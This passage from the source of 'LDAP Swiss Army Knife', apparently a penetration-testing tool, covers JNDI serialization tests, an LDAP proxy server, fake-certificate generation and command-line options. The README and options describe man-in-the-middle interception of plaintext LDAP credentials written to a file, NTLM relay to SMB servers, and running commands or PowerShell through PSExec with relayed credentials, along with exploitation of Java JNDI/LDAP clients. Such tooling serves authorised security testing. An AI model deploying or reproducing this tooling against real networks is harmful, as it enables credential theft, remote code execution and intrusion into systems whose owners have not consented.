(Reference) o; 136 | assertEquals(c.refClass, r.getFactoryClassName()); 137 | assertEquals(c.refCodebase, new URL(r.getFactoryClassLocation())); 138 | } finally { 139 | ctx.close(); 140 | } 141 | 142 | } finally { 143 | st.shutdown(); 144 | } 145 | } 146 | 147 | @Test 148 | public void testSerialized() throws Exception { 149 | 150 | byte[] testData = new byte[1024]; 151 | new Random().nextBytes(testData); 152 | Path t = Files.createTempFile("test", ".data"); 153 | 154 | Files.write(t, testData, StandardOpenOption.TRUNCATE_EXISTING); 155 | try { 156 | 157 | JNDIServer c = createJNDIBase(); 158 | c.serialized = t; 159 | ServerThread st = new ServerThread<>(c); 160 | try { 161 | st.waitStart(); 162 | 163 | try (LDAPConnection lc = new LDAPConnection(LOCALHOST.getHostAddress(), st.command.port)) { 164 | SearchResultEntry sre = lc.getEntry(c.baseDN[0]); 165 | 166 | assertThat(sre.getObjectClassValues(), ArrayMatching.hasItemInArray("javaSerializedData")); 167 | 168 | byte[] returned = sre.getAttributeValueBytes("javaSerializedData"); 169 | assertArrayEquals(testData, returned); 170 | } 171 | } finally { 172 | st.shutdown(); 173 | } 174 | } finally { 175 | Files.deleteIfExists(t); 176 | } 177 | } 178 | 179 | @Test 180 | public void testJNDISerialized() throws Exception { 181 | 182 | Path t = Files.createTempFile("test", ".data"); 183 | 184 | try (OutputStream os = Files.newOutputStream(t, StandardOpenOption.TRUNCATE_EXISTING); 185 | ObjectOutputStream oos = new ObjectOutputStream(os)) { 186 | oos.writeObject(new File("/tmp/test")); 187 | } 188 | try { 189 | 190 | JNDIServer c = createJNDIBase(); 191 | c.serialized = t; 192 | ServerThread st = new ServerThread<>(c); 193 | try { 194 | st.waitStart(); 195 | 196 | DirContext ctx = InitialContext 197 | .doLookup(String.format("ldap://%s:%d", c.bind.getHostAddress(), c.port)); 198 | 199 | try { 200 | Object o = ctx.lookup("cn=test"); 201 | assertThat(o, IsInstanceOf.instanceOf(File.class)); 202 | } finally { 203 | ctx.close(); 204 | } 205 | 206 | } finally { 207 | st.shutdown(); 208 | } 209 | } finally { 210 | Files.deleteIfExists(t); 211 | } 212 | } 213 | 214 | JNDIServer createJNDIBase() { 215 | JNDIServer ps = new JNDIServer(); 216 | basicSetup(ps); 217 | return ps; 218 | } 219 | } 220 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/ProxyServer.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.Closeable; 4 | import java.util.ArrayList; 5 | import java.util.LinkedHashMap; 6 | import java.util.List; 7 | import java.util.Map; 8 | 9 | import javax.net.SocketFactory; 10 | import javax.net.ssl.SSLContext; 11 | 12 | import org.slf4j.Logger; 13 | import org.slf4j.LoggerFactory; 14 | 15 | import com.unboundid.ldap.listener.AccessLogRequestHandler; 16 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 17 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 18 | import com.unboundid.ldap.listener.LDAPListener; 19 | import com.unboundid.ldap.listener.LDAPListenerConfig; 20 | import com.unboundid.ldap.listener.LDAPListenerRequestHandler; 21 | import com.unboundid.ldap.listener.ProxyRequestHandler; 22 | import com.unboundid.ldap.listener.ReadOnlyInMemoryDirectoryServerConfig; 23 | import com.unboundid.ldap.listener.StartTLSRequestHandler; 24 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptorRequestHandler; 25 | import com.unboundid.ldap.sdk.BindRequest; 26 | import com.unboundid.ldap.sdk.DNSSRVRecordServerSet; 27 | import com.unboundid.ldap.sdk.FailoverServerSet; 28 | import com.unboundid.ldap.sdk.LDAPConnectionOptions; 29 | import com.unboundid.ldap.sdk.LDAPException; 30 | import com.unboundid.ldap.sdk.PostConnectProcessor; 31 | import com.unboundid.ldap.sdk.ResultCode; 32 | import com.unboundid.ldap.sdk.ServerSet; 33 | import com.unboundid.ldap.sdk.StartTLSPostConnectProcessor; 34 | import com.unboundid.util.StaticUtils; 35 | 36 | import picocli.CommandLine.Command; 37 | import picocli.CommandLine.Option; 38 | 39 | @Command(name = "proxy", description = "Launch proxy LDAP server") 40 | public class ProxyServer extends BaseCommand implements CommandRunnable, Closeable { 41 | 42 | private static final Logger log = LoggerFactory.getLogger(ProxyServer.class); 43 | 44 | @Option(names = { "--srv" }, description = { "Connect to backend servers resolved using a DNS SRV record" }) 45 | String proxySRV; 46 | 47 | @Option(names = { "--server" }, description = {"Backend servers to connect to"} ) 48 | String[] proxyServers; 49 | 50 | @Option(names = { "--proxy-ssl" }, description = {"Connect to backend servers using SSL"} ) 51 | boolean proxySSL; 52 | 53 | @Option(names = { "--proxy-starttls" }, description = {"Connect to backend servers using StartTLS"} ) 54 | boolean proxyStartTLS; 55 | 56 | private LinkedHashMap listeners; 57 | 58 | @Override 59 | public void run() throws Exception { 60 | 61 | InMemoryDirectoryServerConfig ldapcfg = createConfig(); 62 | ldapcfg.addInMemoryOperationInterceptor(new CredentialsOperationInterceptor(this)); 63 | 64 | if (requestLog) { 65 | ldapcfg.addInMemoryOperationInterceptor(new LDIFLoggingOperationInterceptor()); 66 | } 67 | 68 | ServerSet serverSet = createServerSet(); 69 | 70 | log.info("Starting {} proxy on {}:{}", ssl ? "SSL" : (nostarttls ? "plain" : "StartTLS"), 71 | bind != null ? bind.getHostAddress() : "*", port); 72 | 73 | startProxyServer(ldapcfg, serverSet); 74 | 75 | } 76 | 77 | private ServerSet createServerSet() throws Exception { 78 | SocketFactory socketFactory = null; 79 | LDAPConnectionOptions connectionOptions = new LDAPConnectionOptions(); 80 | BindRequest bindRequest = null; 81 | PostConnectProcessor postConnectProcessor = null; 82 | 83 | if (proxySSL) { 84 | SSLContext ctx = sslContextProv.createContext(this); 85 | socketFactory = sslContextProv.configure(this, ctx.getSocketFactory()); 86 | } else if (proxyStartTLS) { 87 | SSLContext ctx = sslContextProv.createContext(this); 88 | postConnectProcessor = new StartTLSPostConnectProcessor( 89 | sslContextProv.configure(this, ctx.getSocketFactory())); 90 | } 91 | 92 | if (proxySRV != null) { 93 | return new DNSSRVRecordServerSet(proxySRV, null, null, -1, socketFactory, connectionOptions, bindRequest, 94 | postConnectProcessor); 95 | } 96 | 97 | if (proxyServers == null) { 98 | throw new IllegalArgumentException("Backend server specification required"); 99 | } 100 | 101 | String hosts[] = new String[proxyServers.length]; 102 | int ports[] = new int[proxyServers.length]; 103 | 104 | int defPort = proxySSL ? 636 : 389; 105 | 106 | for (int i = 0; i < proxyServers.length; i++) { 107 | String spec = proxyServers[i]; 108 | String host = null; 109 | int pport; 110 | int sep = spec.indexOf(':'); 111 | if (sep < 0) { 112 | host = spec; 113 | pport = defPort; 114 | } else { 115 | host = spec.substring(0, sep); 116 | pport = Integer.parseInt(spec.substring(sep + 1)); 117 | } 118 | hosts[i] = host; 119 | ports[i] = pport; 120 | } 121 | return new FailoverServerSet(hosts, ports, socketFactory, connectionOptions, bindRequest, postConnectProcessor); 122 | } 123 | 124 | private void startProxyServer(InMemoryDirectoryServerConfig ldapcfg, ServerSet serverSet) throws LDAPException { 125 | ReadOnlyInMemoryDirectoryServerConfig config = new ReadOnlyInMemoryDirectoryServerConfig(ldapcfg); 126 | 127 | ProxyRequestHandler proxyHandler = new ProxyRequestHandler(serverSet); 128 | 129 | LDAPListenerRequestHandler requestHandler = proxyHandler; 130 | 131 | if (config.getAccessLogHandler() != null) { 132 | requestHandler = new AccessLogRequestHandler(config.getAccessLogHandler(), requestHandler); 133 | } 134 | 135 | if (!config.getOperationInterceptors().isEmpty()) { 136 | requestHandler = new InMemoryOperationInterceptorRequestHandler(config.getOperationInterceptors(), 137 | requestHandler); 138 | } 139 | 140 | final List listenerConfigs = config.getListenerConfigs(); 141 | 142 | LinkedHashMap listeners = new LinkedHashMap(listenerConfigs.size()); 143 | LinkedHashMap ldapListenerConfigs = new LinkedHashMap( 144 | listenerConfigs.size()); 145 | LinkedHashMap clientSocketFactories = new LinkedHashMap( 146 | listenerConfigs.size()); 147 | 148 | for (final InMemoryListenerConfig c : listenerConfigs) { 149 | final String name = StaticUtils.toLowerCase(c.getListenerName()); 150 | 151 | final LDAPListenerRequestHandler listenerRequestHandler; 152 | if (c.getStartTLSSocketFactory() == null) { 153 | listenerRequestHandler = requestHandler; 154 | } else { 155 | listenerRequestHandler = new StartTLSRequestHandler(c.getStartTLSSocketFactory(), requestHandler); 156 | } 157 | 158 | final LDAPListenerConfig listenerCfg = new LDAPListenerConfig(c.getListenPort(), listenerRequestHandler); 159 | listenerCfg.setMaxConnections(config.getMaxConnections()); 160 | listenerCfg.setExceptionHandler(config.getListenerExceptionHandler()); 161 | listenerCfg.setListenAddress(c.getListenAddress()); 162 | listenerCfg.setServerSocketFactory(c.getServerSocketFactory()); 163 | 164 | ldapListenerConfigs.put(name, listenerCfg); 165 | 166 | if (c.getClientSocketFactory() != null) { 167 | clientSocketFactories.put(name, c.getClientSocketFactory()); 168 | } 169 | } 170 | startListening(listeners, ldapListenerConfigs); 171 | this.listeners = listeners; 172 | } 173 | 174 | private void startListening(LinkedHashMap listeners, 175 | LinkedHashMap ldapListenerConfigs) throws LDAPException { 176 | final ArrayList messages = new ArrayList(listeners.size()); 177 | 178 | for (final Map.Entry cfgEntry : ldapListenerConfigs.entrySet()) { 179 | final String name = cfgEntry.getKey(); 180 | 181 | if (listeners.containsKey(name)) { 182 | // This listener is already running. 183 | continue; 184 | } 185 | 186 | final LDAPListenerConfig listenerConfig = cfgEntry.getValue(); 187 | final LDAPListener listener = new LDAPListener(listenerConfig); 188 | 189 | try { 190 | listener.startListening(); 191 | listenerConfig.setListenPort(listener.getListenPort()); 192 | listeners.put(name, listener); 193 | } catch (final Exception e) { 194 | log.error("Failed to start listener", e); 195 | messages.add(e.toString()); 196 | } 197 | } 198 | 199 | if (!messages.isEmpty()) { 200 | throw new LDAPException(ResultCode.LOCAL_ERROR, StaticUtils.concatenateStrings(messages)); 201 | } 202 | } 203 | 204 | public void close() { 205 | for (final LDAPListener l : listeners.values()) { 206 | try { 207 | l.shutDown(true); 208 | } catch (final Exception e) { 209 | } 210 | } 211 | 212 | listeners.clear(); 213 | } 214 | } 215 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/SSLContextProvider.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.BufferedReader; 4 | import java.io.ByteArrayInputStream; 5 | import java.io.InputStream; 6 | import java.math.BigInteger; 7 | import java.nio.charset.StandardCharsets; 8 | import java.nio.file.Files; 9 | import java.nio.file.Path; 10 | import java.nio.file.StandardOpenOption; 11 | import java.security.KeyPair; 12 | import java.security.KeyPairGenerator; 13 | import java.security.KeyStore; 14 | import java.security.PrivateKey; 15 | import java.security.SecureRandom; 16 | import java.security.cert.Certificate; 17 | import java.security.cert.CertificateFactory; 18 | import java.time.LocalDateTime; 19 | import java.time.ZoneOffset; 20 | import java.util.Date; 21 | import java.util.LinkedList; 22 | import java.util.List; 23 | import java.util.NoSuchElementException; 24 | 25 | import javax.net.ssl.KeyManagerFactory; 26 | import javax.net.ssl.SSLContext; 27 | import javax.net.ssl.SSLServerSocketFactory; 28 | import javax.net.ssl.SSLSocketFactory; 29 | import javax.net.ssl.TrustManager; 30 | 31 | import org.bouncycastle.asn1.x500.X500Name; 32 | import org.bouncycastle.asn1.x509.BasicConstraints; 33 | import org.bouncycastle.asn1.x509.ExtendedKeyUsage; 34 | import org.bouncycastle.asn1.x509.Extension; 35 | import org.bouncycastle.asn1.x509.GeneralName; 36 | import org.bouncycastle.asn1.x509.GeneralNames; 37 | import org.bouncycastle.asn1.x509.KeyPurposeId; 38 | import org.bouncycastle.cert.CertIOException; 39 | import org.bouncycastle.cert.X509CertificateHolder; 40 | import org.bouncycastle.cert.jcajce.JcaX509v3CertificateBuilder; 41 | import org.bouncycastle.openssl.PEMKeyPair; 42 | import org.bouncycastle.openssl.PEMParser; 43 | import org.bouncycastle.openssl.jcajce.JcaPEMKeyConverter; 44 | import org.bouncycastle.operator.ContentSigner; 45 | import org.bouncycastle.operator.jcajce.JcaContentSignerBuilder; 46 | import org.slf4j.Logger; 47 | import org.slf4j.LoggerFactory; 48 | 49 | public class SSLContextProvider { 50 | 51 | static { 52 | System.setProperty("jdk.tls.ephemeralDHKeySize", "2048"); 53 | } 54 | 55 | private static final Logger log = LoggerFactory.getLogger(SSLContextProvider.class); 56 | 57 | public SSLContext createContext(BaseCommand config) throws Exception { 58 | SecureRandom sr = new SecureRandom(); 59 | KeyManagerFactory kmf = KeyManagerFactory.getInstance("PKIX"); 60 | 61 | kmf.init(getKeystore(config), config.keystorePass.toCharArray()); 62 | 63 | SSLContext ctx = SSLContext.getInstance("TLSv1.2"); 64 | ctx.init(kmf.getKeyManagers(), new TrustManager[] { new AllowAllTrustManager() }, sr); 65 | 66 | return ctx; 67 | } 68 | 69 | KeyStore getKeystore(BaseCommand config) throws Exception { 70 | if (config.keystore != null) { 71 | try (InputStream is = Files.newInputStream(config.keystore, StandardOpenOption.READ)) { 72 | KeyStore ks = KeyStore.getInstance(config.keystoreType.name()); 73 | ks.load(is, config.keystorePass.toCharArray()); 74 | return ks; 75 | } 76 | } else if (config.privateKey != null) { 77 | Path certFile = config.certificate; 78 | if (certFile == null) { 79 | certFile = config.privateKey; 80 | } 81 | 82 | Certificate[] chain = new Certificate[0]; 83 | try (InputStream is = Files.newInputStream(certFile, StandardOpenOption.READ)) { 84 | chain = loadCertificates(certFile).toArray(chain); 85 | } 86 | 87 | KeyStore ks = KeyStore.getInstance("JKS"); 88 | ks.load(null, config.keystorePass.toCharArray()); 89 | ks.setKeyEntry("private", loadPrivateKey(config.privateKey), new char[0], chain); 90 | return ks; 91 | } 92 | return createFakeKeystore(config); 93 | } 94 | 95 | public static PrivateKey loadPrivateKey(Path path) throws Exception { 96 | 97 | try (BufferedReader br = Files.newBufferedReader(path, StandardCharsets.US_ASCII); 98 | PEMParser pr = new PEMParser(br)) { 99 | Object o; 100 | while ((o = pr.readObject()) != null) { 101 | if (o instanceof PEMKeyPair) { 102 | KeyPair kp = new JcaPEMKeyConverter().getKeyPair((PEMKeyPair) o); 103 | return kp.getPrivate(); 104 | } else if (o instanceof PrivateKey) { 105 | return (PrivateKey) o; 106 | } 107 | } 108 | } 109 | 110 | throw new NoSuchElementException("No private key found"); 111 | } 112 | 113 | public static List loadCertificates(Path path) throws Exception { 114 | List certs = new LinkedList<>(); 115 | try (BufferedReader br = Files.newBufferedReader(path, StandardCharsets.US_ASCII); 116 | PEMParser pr = new PEMParser(br)) { 117 | Object o; 118 | while ((o = pr.readObject()) != null) { 119 | if (o instanceof X509CertificateHolder) { 120 | certs.add(CertificateFactory.getInstance("X.509") 121 | .generateCertificate( 122 | new ByteArrayInputStream(((X509CertificateHolder) o).getEncoded()))); 123 | } 124 | } 125 | } 126 | 127 | if (certs.isEmpty()) { 128 | throw new NoSuchElementException("No certificate found"); 129 | } 130 | return certs; 131 | } 132 | 133 | private KeyStore createFakeKeystore(BaseCommand config) throws Exception { 134 | 135 | log.debug("Generating self-signed certificate for {}", config.fakeCertCN); 136 | 137 | KeyPairGenerator inst = KeyPairGenerator.getInstance("RSA"); 138 | SecureRandom random = new SecureRandom(); 139 | inst.initialize(config.fakeCertBitsize, random); 140 | KeyPair key = inst.generateKeyPair(); 141 | 142 | ContentSigner contentSigner = new JcaContentSignerBuilder(config.fakeCertSigalg.name()).build(key.getPrivate()); 143 | 144 | BigInteger serial = BigInteger.valueOf(random.nextLong()); 145 | Date startDate = Date 146 | .from((config.fakeCertValidFrom != null ? config.fakeCertValidFrom : LocalDateTime.now().minusHours(3)) 147 | .atOffset(ZoneOffset.UTC).toInstant()); 148 | Date endDate = Date.from((config.fakeCertValidTo != null ? config.fakeCertValidTo 149 | : LocalDateTime.now().plusDays(config.fakeCertLifetime)).atOffset(ZoneOffset.UTC).toInstant()); 150 | X500Name dn = new X500Name(config.fakeCertCN); 151 | JcaX509v3CertificateBuilder certBuilder = new JcaX509v3CertificateBuilder(dn, serial, startDate, endDate, dn, 152 | key.getPublic()); 153 | 154 | certBuilder.addExtension(Extension.extendedKeyUsage, false, 155 | new ExtendedKeyUsage(KeyPurposeId.id_kp_serverAuth)); 156 | certBuilder.addExtension(Extension.basicConstraints, true, new BasicConstraints(false)); 157 | addSANs(config, certBuilder); 158 | X509CertificateHolder cert = certBuilder.build(contentSigner); 159 | 160 | KeyStore ks = KeyStore.getInstance("JKS"); 161 | ks.load(null, config.keystorePass.toCharArray()); 162 | 163 | Certificate certificate = CertificateFactory.getInstance("X.509") 164 | .generateCertificate(new ByteArrayInputStream(cert.getEncoded())); 165 | 166 | if (log.isDebugEnabled()) { 167 | log.debug("Generated certificate " + certificate); 168 | } 169 | 170 | ks.setCertificateEntry("cert", certificate); 171 | ks.setKeyEntry("private", key.getPrivate(), config.keystorePass.toCharArray(), 172 | new Certificate[] { certificate }); 173 | return ks; 174 | } 175 | 176 | private void addSANs(BaseCommand config, JcaX509v3CertificateBuilder certBuilder) throws CertIOException { 177 | GeneralName[] names = new GeneralName[config.fakeCertSANs.length]; 178 | 179 | for (int i = 0; i < names.length; i++) { 180 | String name = config.fakeCertSANs[i]; 181 | int sep = name.indexOf(':'); 182 | int tag = GeneralName.dNSName; 183 | if (sep >= 0) { 184 | String type = name.substring(0, sep); 185 | 186 | switch (type) { 187 | case "dns": 188 | break; 189 | case "ip": 190 | tag = GeneralName.iPAddress; 191 | break; 192 | default: 193 | throw new IllegalArgumentException("unsupported name type " + type); 194 | } 195 | 196 | name = name.substring(sep + 1, name.length()); 197 | } 198 | 199 | names[i] = new GeneralName(tag, name); 200 | } 201 | 202 | if (names != null && names.length > 0) { 203 | certBuilder.addExtension(Extension.subjectAlternativeName, false, new GeneralNames(names)); 204 | } 205 | } 206 | 207 | public SSLServerSocketFactory configure(BaseCommand config, SSLServerSocketFactory serverSocketFactory) { 208 | return new ServerSocketFactoryWrapper(serverSocketFactory, mapProtocols(config.tlsProtocols), 209 | config.tlsCiphers); 210 | } 211 | 212 | private static String[] mapProtocols(TLSProtocol[] tlsProtocols) { 213 | if (tlsProtocols == null) { 214 | return null; 215 | } 216 | String[] proto = new String[tlsProtocols.length]; 217 | for (int i = 0; i < tlsProtocols.length; i++) { 218 | proto[i] = tlsProtocols[i].getProtoId(); 219 | } 220 | return proto; 221 | } 222 | 223 | public SSLSocketFactory configure(BaseCommand config, SSLSocketFactory socketFactory) { 224 | return socketFactory; 225 | } 226 | } 227 | -------------------------------------------------------------------------------- /src/main/java/gs/sy/m8/ldapswak/BaseCommand.java: -------------------------------------------------------------------------------- 1 | package gs.sy.m8.ldapswak; 2 | 3 | import java.io.IOException; 4 | import java.net.InetAddress; 5 | import java.net.Socket; 6 | import java.net.SocketAddress; 7 | import java.nio.file.Path; 8 | import java.time.LocalDateTime; 9 | import java.util.Arrays; 10 | 11 | import javax.inject.Inject; 12 | import javax.net.ssl.SSLContext; 13 | 14 | import org.slf4j.Logger; 15 | import org.slf4j.LoggerFactory; 16 | 17 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; 18 | import com.unboundid.ldap.listener.InMemoryListenerConfig; 19 | import com.unboundid.ldap.listener.LDAPListenerClientConnection; 20 | import com.unboundid.ldap.listener.LDAPListenerExceptionHandler; 21 | import com.unboundid.ldap.sdk.LDAPException; 22 | import com.unboundid.ldif.LDIFException; 23 | 24 | import picocli.CommandLine.Option; 25 | import picocli.CommandLine.Help.Visibility; 26 | 27 | public class BaseCommand { 28 | 29 | @Option(names = { "-h", "--help" }, usageHelp = true, description = "Display this help message.") 30 | boolean usageHelpRequested; 31 | 32 | @Option(names = { "-V", "--version" }, versionHelp = true, description = "print version information and exit") 33 | boolean versionRequested; 34 | 35 | @Option(names = { "-v", "--verbose" }, description = { "Specify multiple -v options to increase verbosity.", 36 | "For example, `-v -v -v` or `-vvv`" }) 37 | boolean[] verbosity = new boolean[0]; 38 | 39 | @Option(names = { "--request-log" }, description = "Log all requests") 40 | public boolean requestLog; 41 | 42 | @Option(names = { "-q", "--quiet" }, description = { "Only show warnings and errors" }) 43 | boolean quiet; 44 | 45 | @Option(names = { "--bind" }, description = { "Network address to bind to" }) 46 | InetAddress bind; 47 | 48 | @Option(names = { "-p", "--port" }, defaultValue = "-1", showDefaultValue = Visibility.NEVER, description = { 49 | "Port to bind to (defaults: 389 for normal, 636 for SSL)" }) 50 | int port; 51 | 52 | @Option(names = { "--tls", "--ssl" }, defaultValue = "false", description = { "Run a SSL/TLS listener" }) 53 | boolean ssl; 54 | 55 | @Option(names = { "--nostarttls" }, defaultValue = "false", description = { "Disable StartTLS" }) 56 | boolean nostarttls; 57 | 58 | @Option(names = { "--tls-proto" }, description = { "TLS versions to allow (${COMPLETION-CANDIDATES}}" }) 59 | public TLSProtocol[] tlsProtocols; 60 | 61 | @Option(names = { "--tls-cipher" }, description = { "TLS ciphers to allow", 62 | "see https://docs.oracle.com/javase/9/docs/specs/security/standard-names.html" }) 63 | public String[] tlsCiphers; 64 | 65 | @Option(names = { "--server-base-dn" }, defaultValue = "dc=fake", showDefaultValue = Visibility.ALWAYS, description = { "Base DNs to report" }) 66 | String[] baseDN; 67 | 68 | @Option(names = { "--keystore" }, description = { "Keystore to load key/certificate from" }) 69 | Path keystore; 70 | 71 | @Option(names = { "--keystore-type" }, defaultValue = "JKS", showDefaultValue = Visibility.ALWAYS, description = { 72 | "Keystore type" }) 73 | KeyStoreType keystoreType; 74 | 75 | @Option(names = { "--key" }, description = "Private key file to use (PEM, in conjunction with --cert)") 76 | Path privateKey; 77 | 78 | @Option(names = { "--cert" }, description = "Certificate file to use (PEM, in conjunction with --key)") 79 | Path certificate; 80 | 81 | @Option(names = { 82 | "--keystore-pass" }, defaultValue = "changeit", showDefaultValue = Visibility.ALWAYS, description = {}) 83 | String keystorePass; 84 | 85 | @Option(names = { "--fakecert-cn" }, defaultValue = "cn=fake", showDefaultValue = Visibility.ALWAYS, description = { 86 | "Subject DN to use when creating fake certificates" }) 87 | String fakeCertCN; 88 | 89 | @Option(names = { "--fakecert-bits" }, defaultValue = "2048", showDefaultValue = Visibility.ALWAYS, description = { 90 | "RSA keySize when generating private key for fake certificates" }) 91 | int fakeCertBitsize; 92 | 93 | @Option(names = { 94 | "--fakecert-sigalg" }, defaultValue = "SHA256withRSA", showDefaultValue = Visibility.ALWAYS, description = { 95 | "Signature algorithm to use when generating fake certificates" }) 96 | SigAlg fakeCertSigalg; 97 | 98 | @Option(names = { "--fakecert-lifetime" }, defaultValue = "7", showDefaultValue = Visibility.ALWAYS, description = { 99 | "Lifetime of fake certificate in days" }) 100 | int fakeCertLifetime; 101 | 102 | @Option(names = { "--fakecert-validfrom" }, description = { "Fake certificate validity start" }) 103 | LocalDateTime fakeCertValidFrom; 104 | 105 | @Option(names = { "--fakecert-validto" }, description = { "Fake certificate validity end" }) 106 | LocalDateTime fakeCertValidTo; 107 | 108 | @Option(names = { "--fakecert-san" }, description = { "Fake certificate subject alternative names" }) 109 | String[] fakeCertSANs = new String[0]; 110 | 111 | @Option(names = { "--schemaless" }, defaultValue = "false", description = { "Don't provide any schema" }) 112 | boolean schemaless; 113 | 114 | @Option(names = { "--accept-user" }, defaultValue = "cn=user", description = { "Accept login using this user" }) 115 | String acceptUser; 116 | 117 | @Option(names = { "--accept-pass" }, defaultValue = "pass", description = { "Accept login using this pass" }) 118 | String acceptPass; 119 | 120 | @Option(names = { "--uid-attr" }, defaultValue = "uid", description = { "Attributes to extract username from DNs" }) 121 | String[] uidAttrs; 122 | 123 | @Option(names = { "--write-creds" }, description = { 124 | "Write intercepted credentials to this file (format: user pass, one per line)" }) 125 | Path writeCreds; 126 | 127 | @Option(names = { "--ntlm-relay" }, description = { "Relay intecepted NTLM exchange to SMB server for PSExec" }) 128 | String relayServer; 129 | 130 | 131 | @Option(names = { "--relay-write-file" }, description = { "Using the relayed credentials, write this local file to the server" }) 132 | Path writeFileSource; 133 | 134 | @Option(names = { "--relay-write-to" }, description = { "Using the relayed credentials, write file to this target share/path (SHARE/path/)" }) 135 | String writeFileTarget; 136 | 137 | @Option(names = { "--psexec-service-name" }, description = { "Name of service used for PSExec" }) 138 | String psexecServiceName = "psexec"; 139 | 140 | @Option(names = { "--psexec-display-name" }, description = { "Display name of service used for PSExec" }) 141 | String psexecDisplayName = "PSExec"; 142 | 143 | @Option(names = { "--psexec-cmd" }, description = { "Using the relayed credentials, run system command using PSExec" }) 144 | String psexecCMD; 145 | 146 | @Option(names = { "--psexec-cmd-log" }, description = { "Redirect CMD command output to file (filesystem path)" }) 147 | String psexecCMDLog; 148 | 149 | @Option(names = { "--psexec-script-file" }, description = { "Using the relayed credentials, run Powershell code from script file using PSExec (size limits apply)" }) 150 | Path psexecPSHScriptFile; 151 | 152 | @Option(names = { "--psexec-script" }, description = { "Using the relayed credentials, run Powershell code using PSExec (size limits apply)" }) 153 | String psexecPSHScript; 154 | 155 | @Option(names = { "--psexec-psh-encode" }, description = { "Encode PSExec Powershell Payload" }) 156 | boolean psexecPSHEncode; 157 | 158 | @Option(names = { "--psexec-cmd-script-loc" }, defaultValue = "/ADMIN$/Temp/", showDefaultValue = Visibility.ALWAYS, description = { "SHARE/Path for launcher script file used for output redirection" }) 159 | String psexecCMDScriptLoc; 160 | 161 | @Option(names = { "--psexec-cmd-script-path" }, defaultValue = "C:\\Windows\\Temp\\", showDefaultValue = Visibility.ALWAYS, description = { "Local filesystem for launcher script file used for output redirection" }) 162 | String psexecCMDScriptPath; 163 | 164 | @Option(names = { "--relay-read-from" }, description = { "Using the relayed credentials, read file from this target share/path (SHARE/path/)" }) 165 | String readFileSource; 166 | 167 | @Option(names = { "--relay-read-to" }, description = {"Local file to store the read file data, leave empty for stdout"}) 168 | Path readFileTarget; 169 | 170 | 171 | @Option(names = { "--relay-read-charset"}, defaultValue ="UTF-8",showDefaultValue = Visibility.ALWAYS, description = {"Charset for reading remote files, only relevant when outputting"}) 172 | String readFileCharset; 173 | 174 | @Option(names = { "--relay-read-retries"}, defaultValue ="5",showDefaultValue = Visibility.ALWAYS, description = {"Number of retries reading the file, possibly waiting for the command to complete, each 1 second apart"}) 175 | int readFileRetries = 5; 176 | 177 | 178 | private static final Logger log = LoggerFactory.getLogger(BaseCommand.class); 179 | 180 | @Inject 181 | SSLContextProvider sslContextProv; 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | public BaseCommand() { 190 | super(); 191 | } 192 | 193 | protected InMemoryDirectoryServerConfig createConfig() throws LDAPException, Exception, IOException, LDIFException { 194 | log.info("Server base DNs: {}", Arrays.toString(baseDN)); 195 | 196 | InMemoryDirectoryServerConfig ldapcfg = new InMemoryDirectoryServerConfig(baseDN); 197 | 198 | ldapcfg.setListenerConfigs(createListenerConfig()); 199 | ldapcfg.setListenerExceptionHandler(createExceptionListener()); 200 | 201 | if (requestLog) { 202 | ldapcfg.setAccessLogHandler(new AccessLog()); 203 | } 204 | 205 | // disable schema validation, we really don't care 206 | if (schemaless) { 207 | ldapcfg.setSchema(null); 208 | } 209 | 210 | ldapcfg.setEnforceSingleStructuralObjectClass(false); 211 | ldapcfg.setEnforceAttributeSyntaxCompliance(false); 212 | 213 | if (this.acceptUser != null && this.acceptPass != null) { 214 | ldapcfg.addAdditionalBindCredentials(this.acceptUser, this.acceptPass); 215 | } 216 | 217 | return ldapcfg; 218 | } 219 | 220 | private LDAPListenerExceptionHandler createExceptionListener() { 221 | return new LDAPListenerExceptionHandler() { 222 | 223 | public void connectionTerminated(LDAPListenerClientConnection connection, LDAPException cause) { 224 | if (cause != null) { 225 | if (cause.getCause() instanceof IOException 226 | && ("Socket closed".equals(cause.getCause().getMessage()) 227 | || "Stream closed".equals(cause.getCause().getMessage()))) { 228 | return; 229 | } 230 | SocketAddress remote = connection.getSocket().getRemoteSocketAddress(); 231 | log.warn("Connection closed with error " + remote, cause); 232 | } 233 | } 234 | 235 | public void connectionCreationFailure(Socket socket, Throwable cause) { 236 | SocketAddress remote = socket.getRemoteSocketAddress(); 237 | if (cause != null) { 238 | log.warn("Connection was not established" + remote, cause); 239 | } 240 | } 241 | }; 242 | } 243 | 244 | private InMemoryListenerConfig createListenerConfig() throws Exception, LDAPException { 245 | if (ssl) { 246 | SSLContext ctx = this.sslContextProv.createContext(this); 247 | this.port = this.port < 0 ? 636 : this.port; 248 | return InMemoryListenerConfig.createLDAPSConfig("ssl", bind, port, 249 | this.sslContextProv.configure(this, ctx.getServerSocketFactory()), 250 | this.sslContextProv.configure(this, ctx.getSocketFactory())); 251 | } else if (nostarttls) { 252 | this.port = this.port < 0 ? 389 : this.port; 253 | return InMemoryListenerConfig.createLDAPConfig("starttls", bind, port, null); 254 | } else { 255 | SSLContext ctx = this.sslContextProv.createContext(this); 256 | this.port = this.port < 0 ? 389 : this.port; 257 | return InMemoryListenerConfig.createLDAPConfig("starttls", bind, port, 258 | this.sslContextProv.configure(this, ctx.getSocketFactory())); 259 | } 260 | } 261 | 262 | } 263 | -------------------------------------------------------------------------------- /README.MD: -------------------------------------------------------------------------------- 1 | # LDAP Swiss Army Knife 2 | 3 | Multi-function LDAP server utility. 4 | Quickly setup LDAP server for testing purposes, MitM proxies for 5 | intercepting plaintext or forwarding NTLM credentials or exploit 6 | various Java JNDI/LDAP Client vulnerabilities. 7 | 8 | Author: Moritz Bechler (moritz.bechler@syss.de) 9 | Project Repository: https://github.com/SySS-Research/ldap-swak 10 | 11 | ## Build 12 | 13 | Maven required. 14 | > mvn package verify 15 | 16 | -> target/ldap-swak-0.0.5-SNAPSHOT-all.jar 17 | 18 | 19 | ## Run 20 | 21 | Just run the JAR file with approriate subcommand and options: 22 | ``` 23 | > java 